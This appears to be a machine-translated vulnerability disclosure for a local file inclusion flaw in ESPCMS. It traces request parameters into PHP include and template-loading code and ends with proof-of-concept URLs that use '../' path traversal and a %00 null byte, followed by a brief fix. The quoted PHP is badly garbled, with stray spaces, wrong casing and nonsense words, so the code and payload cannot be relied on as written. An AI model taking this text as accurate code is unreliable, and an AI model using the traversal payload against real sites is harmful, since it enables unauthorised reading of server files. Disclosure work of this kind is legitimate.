ESPCMS local File Inclusion Defects and repair

Adminsoft/index. php $ archive = indexget ('archive', 'R'); $ archive = empty ($ archive )? 'Adminuser': $ archive; $ action = indexget ('action', 'R'); $ action = empty ($ action )? 'Login': $ action; include admin_ROOT. adminfile. "/control/$ archive. php "; // contains produce good nice $ control = new important (); $ action = 'on '. $ action; if (method_exists ($ control, $ action) {$ control-> $ action ();} else {exit ('error: system method error! ');} First check index. php

02 // omit irrelevant code 03 $ archive = indexget ('ac', 'R'); // ac04 $ action = indexget ('at', 'R '); // at05 // omit irrelevant Code 06 if (empty ($ archive) | empty ($ action) {07 include admin_ROOT. 'interface/public. php '; 08 $ mainlist = new mainpage (); 09 if (method_exists ($ mainlist, 'in _ Index') {10 $ mainlist-> in_index (); 11} else {12 exit ('Access error! '); 13} 14} else {15 if (in_array ($ archive, array ('Article', 'Forum', 'search', 'bbssearch', 'forummain ', 'messmain', 'Special ', 'respond', 'public', 'scriptout', 'enquiry', 'enquirymain', 'formmain', 'ordermain ', 'membermain', 'member', 'Forum ', 'order') {// mandatory. The homepage contains 16 $ action = 'in _'. $ action;/in _ $ function 17 if (! File_exists (admin_ROOT. "interface/$ archive. php") {// follow up with 18 exit ('Access error! '); 19} 20 include admin_ROOT. "interface/$ archive. php "; 21 $ mainlist = new mainpage (); 22 if (method_exists ($ mainlist, $ action) {23 $ mainlist-> $ action (); 24} else {25 exit ('Access error! '); 26} 27} else {28 exit ('Access error! '); 29} 30} 31 // ignore irrelevant code 32 follow up to interface/enquity File 33 // omit irrelevant code 34 $ filename = $ this-> fun-> accept ('filename ', 'G'); // filename variable 35 $ filename = empty ($ filename )? 'LIST': $ filename; 36 // omitting irrelevant Code 37 $ output = $ this-> pagetemplate-> fetch ($ lng. '/lib /'. $ filename); '38 // omit irrelevant code 39 // follow up the function library to view 40 function fetch ($ tpl_file, $ cache_fileID = null, $ outHTML = null) {41 if (! Empty ($ outHTML) {42 $ out = $ this-> gettemprequire ($ outHTML); 43 return $ out; 44} 45 require_once 'ectemplates _ parser. php'; 46 47 if ($ this-> libfile) {48 $ tpl_file = $ this-> templatesDIR. $ tpl_file. '.html '; // html49} 50 51 $ template_file = $ this-> tpl_dir. $ tpl_file; 52 53 $ parsed_file = $ this-> tpl_c_dir. md5 ($ tpl_file ). '. php'; 54 55

Http: // 127.0.0.1/espcms_utf8_5.6.13.03.14_ B/upload/index. php? Ac = scriptout & at = list & tid = 1 & filename = .. /.. /.. /.. /index.txt % 00 vulnerability proof: http: // 127.0.0.1/espcms_utf8_5.6.13.03.14_ B/upload/index. php? Ac = scriptout & at = list & tid = 1 & filename =.../index.txt % 00 solution: filter special characters